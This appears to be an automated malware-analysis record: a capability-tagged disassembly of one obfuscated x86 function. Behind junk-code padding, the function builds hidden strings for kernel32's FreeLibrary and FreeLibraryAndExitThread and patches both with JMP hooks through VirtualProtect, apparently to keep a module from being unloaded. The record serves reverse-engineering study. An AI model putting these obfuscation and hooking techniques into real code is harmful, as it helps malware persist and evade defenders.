Function at 0x1002ae5e
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
jae 0x1002ae09
jmp 0x1002ae04
call fcn.1002ae0b
jae 0x1002ae04
add esp, 4
jmp 0x1002ae10
dec dword [esp]
jno 0x1002ae15
jns 0x1002ae00
jp 0x1002ae19
add esp, 4
popf
jmp 0x1002ae20
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1002ae39
jne 0x1002ae39
call 0x1fc2e18d
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
clc
jae 0x1002ae4f
jbe 0x1002aeb2
pushf
push 0xa
jae 0x1002ae5c
jmp 0x1002ae57
call 0x1002ae5e
jae 0x1002ae57
add esp, 4
jmp 0x1002ae63
dec dword [esp]
jno 0x1002ae68
jns 0x1002ae53
jp 0x1002ae6c
add esp, 4
popf
jmp 0x1002ae73
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
xor eax, 0x1f0
xor edx, eax
add eax, edx
sub edx, 0x1f0
push eax
pop edx
xor edx, 0x5d0
nop
nop
xor ecx, ecx
xor eax, eax
mov ecx, 0x1f0
add ecx, 3
sub ecx, eax
nop
push eax
pop ecx
xor eax, eax
nop
nop
push eax
xor eax, eax
pop eax
rcl byte [eax - 0x3fccaf70], 0x58
xor edx, edx
xor eax, edx
push ecx
pop ecx
xor eax, eax
nop
jl 0x1002aec7
jmp 0x1002aec9
je 0x1002aec4
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1002aee3
jne 0x1002aee2
call 0x93069f6a
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1002aef1
jne 0x1002aef1
call 0x7be2f4bb
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x65
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x4c
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x62
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x79
mov byte [ebp - 5], 0
mov byte [ebp - 0x3c], 0x46
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x65
mov byte [ebp - 0x38], 0x4c
mov byte [ebp - 0x37], 0x69
mov byte [ebp - 0x36], 0x62
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x61
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x79
mov byte [ebp - 0x31], 0x41
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x64
mov byte [ebp - 0x2e], 0x45
mov byte [ebp - 0x2d], 0x78
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x54
mov byte [ebp - 0x29], 0x68
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x64
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x1002b09c
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1044bfe8], eax
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1044bfec], eax
cmp dword [0x1044bfe8], 0
je 0x1002b048
lea edx, [ebp - 0x40]
push edx
push 0x40
push 5
mov eax, dword [0x1044bfe8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [0x1044bfe8]
mov byte [ecx], 0xe9
mov edx, 0x10032660
sub edx, dword [0x1044bfe8]
sub edx, 5
mov eax, dword [0x1044bfe8]
mov dword [eax + 1], edx
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x40]
push edx
push 5
mov eax, dword [0x1044bfe8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [0x1044bfec], 0
je 0x1002b09c
lea ecx, [ebp - 0x44]
push ecx
push 0x40
push 5
mov edx, dword [0x1044bfec]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x1044bfec]
mov byte [eax], 0xe9
mov ecx, 0x10032670
sub ecx, dword [0x1044bfec]
sub ecx, 5
mov edx, dword [0x1044bfec]
mov dword [edx + 1], ecx
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
push 5
mov edx, dword [0x1044bfec]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004ce42
mov esp, ebp
pop ebp
ret